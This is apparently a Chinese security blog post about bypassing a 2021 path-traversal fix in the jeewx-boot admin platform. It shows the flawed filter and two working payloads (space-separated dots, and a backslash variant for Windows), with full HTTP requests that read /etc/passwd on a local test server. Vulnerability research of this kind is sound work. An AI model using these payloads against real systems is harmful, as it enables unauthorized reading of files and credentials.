前言
最近赶项目DDL比较忙,也没有啥写文章的灵感,这里就分享一个最近遇到的漏洞。之前看y4tacker的博客提到过他当时利用开发者的过度防御绕过seacms过滤实现RCE的例子,这次我也遇到了个类似的洞,水一篇。
老洞和补丁
项目是https://github.com/jeecgboot/jeewx-boot/,是 jeecgboot 下面的一个管理平台,不过似乎也不维护了,也没啥危害。搭起来比较简单,我记得就是配一下数据库然后改一下jdbc参数,最后 IDEA 一键就能启动。
19年的时候有一个师傅提了一个issue: https://github.com/jeecgboot/jeewx-boot/issues/17,提到了 jeewx-boot 在后台存在一个任意文件读取漏洞

漏洞确实很简单,就是后台有个读文件的接口,然后没对文件路径做限制,所以攻击者可以读任意文件。然后两年后的2021年开发者才想起来,把这个洞给修了:

修法就是加了个过滤函数,把路径里的一些危险字符替换为空了:

public static String getFileName(String fileName){
//替换上传文件名字的特殊字符
fileName = fileName.replace("=","").replace(",","").replace("&","")
.replace("#", "").replace("“", "").replace("”", "")
.replace("/../","").replace("..","") .replace("/./","") .replace("./","");
//替换上传文件名字中的空格
fileName=fileName.replaceAll("\\s","");
return fileName;
}
如果光看他这个过滤,其实是绕不了的,这里把点号的组合方式基本上ban完了,有些师傅可能会想到做url鉴权绕过时的payload比如 ..;/ 或者 %2e%2e/,很遗憾这两种方式都是不行的。
首先,分号这个trick的来源其实是 RFC 文档里对于 URL 路径参数的规定,我在我之前谈华夏erp的那几篇文章里应该提到过,分号是用来传参的,文件路径是文件路径,URL 是 URL,二者不可混为一谈。
其次,想要用编码绕的话有点小问题,request.getParameter("imgurl")获取的值是 URL 解码后的,如果我们单纯使用 /%2e%2e/,imgurl 获得的值是解码后的,所以还是 /../ ,还是会被替换空,没啥差别。有些师傅可能会想到如果我把 %2e 再编码一次会怎么样呢?用 /%252e%252e/ 呢?
这时我们的 poc 虽然确实没被替换,但实际读取的文件路径里他是 %2e ,还是没法解析:

How to bypass
方法一
看文章的标题大家应该也知道,这篇文章的主题是过度防御带来的路径遍历绕过,突破口想必就在”过度防御”这几个字上了,而这个函数唯一和过度防御沾边的代码想来就是这句了:
//替换上传文件名字中的空格
fileName=fileName.replaceAll("\\s","");
在之前的逻辑里没有替换文件名中的空格这句代码,现在却莫名其妙的加上了。开发者将空格替换为空的操作反而让他之前的所有过滤都失效了。试想一下,如果我们传入的poc是 /%20.%20.%20/,用空格分隔点号与点号、点号与斜杠,这自然是一个不会被过滤的路径,而当代码执行到最后一句,开发者将空格替换为空,本来解析不了的 / . . / 会变成 /../,不就再次实现了路径穿越。
本地尝试一下:
GET /goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=/%20.%20.%20/%20.%20.%20/%20.%20.%20/%20.%20.%20/%20.%20.%20/%20.%20.%20/%20.%20.%20/%20.%20.%20/%20.%20.%20/etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
Connection: close
Cookie: JSESSIONID=EC0E035DB5D8106D78191AD7AC38340C
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i

So easy 😉
方法二
回看这个过滤函数,如果没有这句fileName=fileName.replaceAll("\\s",""),只有
public static String getFileName(String fileName){
//替换上传文件名字的特殊字符
fileName = fileName.replace("=","").replace(",","").replace("&","")
.replace("#", "").replace("“", "").replace("”", "")
.replace("/../","").replace("..","") .replace("/./","") .replace("./","");
return fileName;
}
这种情况下还能绕过判断吗?
其实还是可以的,至少 windows 环境下是没问题的,我们知道在 windows 里其实还可以用 \..\ 的方式进行路径穿越,不过一个小问题是当前的逻辑不允许点号和点号同时出现,会把 .. 替换为空,除此之外还有一些其他替换为空的操作,这个逻辑看似阻止了我们进行路径穿越,其实反而帮助了我们。突破口就在替换为空这里,我们其实只需要找一个会被替换为空的字符组合放在点号和点号之间,然后等过滤逻辑把这个字符组合替换为空, 最后我们就又得到 \..\ 了。
比如我们传入 %5c././.%5c ,经过一次解码,传入的路径就变成 \././.\ ,然后他这个过滤这里会把 /./ 替换为空,这样我们就拿到 \..\ 了,本地尝试一下:
GET /goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=%5c././.%5c/%5c././.%5c/%5c././.%5c/%5c././.%5c/%5c././.%5c/%5c././.%5c/%5c././.%5c/%5c././.%5c/%5c././.%5c/etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
Connection: close
Cookie: JSESSIONID=4487956A304CEE6E69384BA5A0E912C2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i

Bypass again😋
太厉害了,每日必看榜